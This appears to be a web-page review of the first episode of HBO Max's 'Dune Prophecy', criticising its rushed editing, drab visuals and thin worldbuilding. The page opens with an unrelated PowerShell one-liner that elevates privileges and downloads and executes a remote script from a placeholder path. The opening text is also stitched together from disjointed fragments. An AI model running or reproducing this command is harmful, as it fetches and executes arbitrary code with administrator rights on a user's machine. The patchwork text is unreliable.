powershell -Command "Start-Process powershell -ArgumentList '-Command Invoke-Expression (New-Object Net.WebClient).DownloadString(''{PATH}'')' -Verb RunAs"
it’s all about
Scenario
Two Harkonnen sisters battle forces that threaten the future of humanity and found the legendary sect that would become known as the Bene Gesserit. Whether they’re exploring the stars, escaping a dystopia, or making the world a better place, these women are what science fiction is all about. This series uses material from Brian Herbert and Kevin J. Anderson’s Great Schools of Dune trilogy.
A reference to AniMat’s Crazy Cartoon Cast: The New Normal (2020)
The prequel to the original Dune tells the story of how Rosak’s sister became a Bene Gesserit. The incident with Valya Harkonnen, using voiceover, is from one called “Mentats of Dune.” All three books combine the development of the sisters, Mentats, Navigators, and Suk Doctors. The first episode of Dune Prophecy, HBO Max’s new foray into the world of Frank Herbert’s universe, unfortunately feels dull and uninspired. Despite its ambitious source material, the episode struggles to capture the charm and depth that make Dune so beloved.
The most glaring issue is the editing
The pacing is frantic, scenes feel rushed, and there’s no breath needed to create tension or atmosphere. In an attempt to cram too much into a single hour, the episode becomes a chaotic, nonstop barrage of dialogue, sacrificing narrative flow and engagement. Moments that should have felt significant are undermined by rushed cuts, leaving little room for emotional or thematic resonance. Visually, Dune Prophecy suffers from a continuation of the drab, industrial aesthetic seen in recent Dune adaptations.
Perhaps the most dangerous aspect is the lack of effective worldbuilding
The set and costume design feel sterile and drab, failing to evoke the sense of complexity that Herbert’s universe evokes. This lack of visual and atmospheric variety diminishes the sense of wonder and alien grandeur that Dune demands. While the episode focuses heavily on expository dialogue to establish the plot, it neglects to build the world itself. The complex political and cultural dynamics that define Dune feel shallow and the atmospheric “vibe” is absent; it leaves the setting empty and unappealing.
Without significant improvements in pacing, editing, and worldbuilding, the essence that makes Dune such a rich and enduring story could be lost
Ultimately, Dune Prophecy struggles to strike a balance between exposition and immersion, resulting in an episode that feels more like a rushed recap than a compelling introduction to the series.